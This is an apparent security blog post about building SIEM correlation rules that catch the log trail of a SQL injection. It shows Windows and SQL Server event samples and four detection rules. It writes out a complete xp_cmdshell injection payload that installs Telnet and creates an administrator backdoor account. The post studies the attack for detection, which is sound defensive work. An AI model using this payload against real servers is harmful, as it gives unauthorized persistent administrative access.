Using Correlation Rules To Perform Decentralized Threat Detection

Over the past few months while developing correlation rules for LogRhythm’s new Advanced Intelligence Engine, I started to think about a concept I’m calling “Decentralized Threat Detection.”  While antivirus and IDS systems generally look for a threat in a single, specific spot, individual files and network packets, respectively, Decentralized Threat Detection looks at behavior patterns surrounding a threat rather than the threat itself, expanding the detection capabilities away from a single point.  My colleague Zak Wolff’s recent blog post outlines some correlation ideas around this very concept.  Malware developers are getting better and better at writing code that most anti-virus software can’t detect.  A recent post in the SANS Handler Diary presents a perfect example.  In short, relying on AV or IDS/HIDS by themselves simply isn’t enough to adequately detect all malicious activity.

By applying the concept of Decentralized Threat Detection when building correlation rules for a SIEM, we’re looking for various malicious activity patterns shared across all types of attacks, malware, exploits, etc.  The specific technical details of the attack are irrelevant; we’re treating the attack as a black-box and looking for behavior patterns outside of the attack itself.  While Zak applied this concept to detecting malicious PDFs in his post, I’ll be taking a look at a certain type of SQL injection.

The mother of all vulnerabilities for a SQL Server back-ended web application is when non-sanitized data is passed to the database using a privileged account, allowing xp_cmdshell to be enabled and command-line commands run as a privileged user.  In a scenario like this, on a Windows Server 2008 system the following SQL statement will enable xp_cmdshell, install a telnet server, start the telnet service, create a backdooraccount, and add the account to both the TelnetClients group as well as the local administrators group.

master.dbo.sp_configure ‘show advanced options’, 1; RECONFIGURE; EXEC master.dbo.sp_configure ‘xp_cmdshell’, 1; RECONFIGURE; EXEC xp_cmdshell ‘ServerManagerCmd.exe -install Telnet-Server -allSubFeatures -resultPath C: TelnetServer.xml’; EXEC xp_cmdshell ‘sc config TlntSvr start= auto’; EXEC xp_cmdshell ‘sc start TlntSvr’; EXEC xp_cmdshell ‘net user backdooraccount password!1 /add’; EXEC xp_cmdshell  ’net localgroup TelnetClients /add backdooraccount’; EXEC xp_cmdshell ‘net localgroup administrators /add backdooraccount’;

Depending on the obfuscation used/required during the injection, this injection like many others can go unnoticed, although the server would now be effectively owned.

However, let’s take a step back from the injection/SQL statement/vulnerability itself, and start to look at the log trail this activity leaves behind.

(the above SQL statements were run manually for easy isolation of the relevent log data for analysis)

When xp_cmdshell is enabled, a log is written to the SQL Server ERRORLOG:

2011-04-01 11:09:20.74 spid52      Configuration option ‘xp_cmdshell’ changed from 0 to 1. Run the RECONFIGURE statement to install.

A very similar log is also written to the Windows Application Event Log:

Log Name:      Application

Source:        MSSQLSERVER

Date:          4/1/2011 11:09:20 AM

Event ID:      15457

Task Category: (2)

Level:         Information

Keywords:      Classic

User:          N/A

Computer:      WIN2008TESTSERVER

Description:

Configuration option ‘xp_cmdshell’ changed from 0 to 1. Run the RECONFIGURE statement to install.

Event XML…

Already, without any visibility into the SQL injection itself, we can start to see some behavior surrounding the attack.  The remaining commands run by xp_cmdshell via the injection all leave a trail in the Event Log data, including the telnet service starting, and the backdoor account creation and addition to local groups (Windows Server 2008 logs are long, so jump past the samples below to get to the punchline).

Telnet Service Starting:

Log Name:      Application

Source:        Microsoft-Windows-TelnetServer

Date:          4/1/2011 12:08:52 PM

Event ID:      1000

Task Category: None

Level:         Information

Keywords:      Classic

User:          N/A

Computer:      WIN2008TESTSERVER

Description:

Telnet Service was started successfully.

Event XML…

Backdoor account creation:

Log Name:      Security

Source:        Microsoft-Windows-Security-Auditing

Date:          4/1/2011 12:12:23 PM

Event ID:      4720

Task Category: User Account Management

Level:         Information

Keywords:      Audit Success

User:          N/A

Computer:      WIN2008TESTSERVER

Description:

A user account was created.

Subject:

Security ID:                              WIN2008TESTSERVERAdministrator

Account Name:                       Administrator

Account Domain:                    WIN2008TESTSERVER

Logon ID:                 0x1d944

New Account:

Security ID:                              WIN2008TESTSERVERbackdooraccount

Account Name:                       backdooraccount

Account Domain:                    WIN2008TESTSERVER

Attributes:

SAM Account Name:               backdooraccount

Display Name:

User Principal Name:             -

Home Directory:

Home Drive:

Script Path:

Profile Path:

User Workstations:

Password Last Set:

Account Expires:

Primary Group ID:   513

Allowed To Delegate To:        -

Old UAC Value:                       0×0

New UAC Value:                     0×15

User Account Control:

Account Disabled

‘Password Not Required’ – Enabled

‘Normal Account’ – Enabled

User Parameters:

SID History:                             -

Logon Hours:                           All

Additional Information:

Privileges                                -

Event XML …

New Account added to Administrators group:

Log Name:      Security

Source:        Microsoft-Windows-Security-Auditing

Date:          4/1/2011 12:13:54 PM

Event ID:      4732

Task Category: Security Group Management

Level:         Information

Keywords:      Audit Success

User:          N/A

Computer:      WIN2008TESTSERVER

Description:

A member was added to a security-enabled local group.

Subject:

Security ID:                              WIN2008TESTSERVERAdministrator

Account Name:                       Administrator

Account Domain:                    WIN2008TESTSERVER

Logon ID:                 0x1d944

Member:

Security ID:                              WIN2008TESTSERVERbackdooraccount

Account Name:                       -

Group:

Security ID:                              BUILTINAdministrators

Group Name:                          Administrators

Group Domain:                       Builtin

Additional Information:

Privileges:                               -

Event Xml…

 

Backdoor account logging in via tlntsess.exe process and being granted administrative privileges:

Log Name:      Security

Source:        Microsoft-Windows-Security-Auditing

Date:          4/1/2011 12:14:43 PM

Event ID:      4624

Task Category: Logon

Level:         Information

Keywords:      Audit Success

User:          N/A

Computer:      WIN2008TESTSERVER

Description:

An account was successfully logged on.

Subject:

Security ID:                              LOCAL SERVICE

Account Name:                       LOCAL SERVICE

Account Domain:                    NT AUTHORITY

Logon ID:                 0x3e5

Logon Type:                                             2

New Logon:

Security ID:                              WIN2008TESTSERVERbackdooraccount

Account Name:                       backdooraccount

Account Domain:                    WIN2008TESTSERVER

Logon ID:                 0x4f1f1

Logon GUID:                            {00000000-0000-0000-0000-000000000000}

Process Information:

Process ID:                              0x3fc

Process Name:                        C:WindowsSystem32tlntsess.exe

Network Information:

Workstation Name:                WIN2008TESTSERVER

Source Network Address:       -

Source Port:                             -

Detailed Authentication Information:

Logon Process:                        Advapi

Authentication Package:         Negotiate

Transited Services:  -

Package Name (NTLM only):  -

Key Length:                             0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The authentication information fields provide detailed information about this specific logon request.

– Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.

– Transited services indicate which intermediate services have participated in this logon request.

– Package name indicates which sub-protocol was used among the NTLM protocols.

– Key length indicates the length of the generated session key. This will be 0 if no session key was requested.

Event XML…

Log Name:      Security

Source:        Microsoft-Windows-Security-Auditing

Date:          4/1/2011 12:14:43 PM

Event ID:      4672

Task Category: Special Logon

Level:         Information

Keywords:      Audit Success

User:          N/A

Computer:      WIN2008TESTSERVER

Description:

Special privileges assigned to new logon.

Subject:

Security ID:                              WIN2008TESTSERVERbackdooraccount

Account Name:                       backdooraccount

Account Domain:                    WIN2008TESTSERVER

Logon ID:                 0x4f1f1

Privileges:                               SeSecurityPrivilege

SeTakeOwnershipPrivilege

SeLoadDriverPrivilege

SeBackupPrivilege

SeRestorePrivilege

SeDebugPrivilege

SeSystemEnvironmentPrivilege

SeImpersonatePrivilege

Event XML…

Post-attack activity also leaves a log trail.  If perimeter firewall/netflow data is being collected, this telnet session would also be seen in those logs, as well as any other access/authentication attempts made by the backdoor account across the infrastructure.

Now we can build some correlation rules that will detect the activity pattern demonstrated in this attack:

1) A rule that looks for a configuration changed followed shortly by a process starting on the same host would detect the xp_cmdshell being enabled followed by the telnet service starting.

2) A rule that looks for a new account being created followed by immediate authentication activity from that same account would detect the backdoor account creation followed by the account being used to telnet back into the system.

3) A rule that looks for a configuration change followed by network activity on a new port would fire when the xp_cmdshell is enabled on a host followed by firewall/netflow data showing telnet activity to the same host.

4) A rule that looks for a new account being created, followed shortly by access/authentication failure activity from the same account.

Add additional white-listing, such as allowed accounts, allowed processes and/or allowed network ports, and the correlation rules become even more effective while reducing false-positives.  And even simpler correlation rules can quickly be developed as well.

With a properly configured SIEM collecting data across the entire breadth and depth of an infrastructure, from the perimeter devices to the endpoint monitoring features and everything in between, the correlation rules outlined above would work wonderfully.  By forgetting about the SQL Injection itself, and focusing the correlation rules on malicious activity patterns surrounding the attacks, we no longer have to rely solely on single points of detection, and can achieve “Decentralized Threat Detection.”

Tags: , , ,

2 Comments | Security

 

2 Responses to Using Correlation Rules To Perform Decentralized Threat Detection

  1. Artur Martins says:

    Thanks for your post. It was useful. I specially enjoyed the 2nd correlation rule :) Care to share a few more?

    Cheers
    Artur

  2. yaggi says:

    This is simply nice… Please post more correlations or conditions related to SQL attack please.

Leave a Reply

Your email address will not be published. Required fields are marked *

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>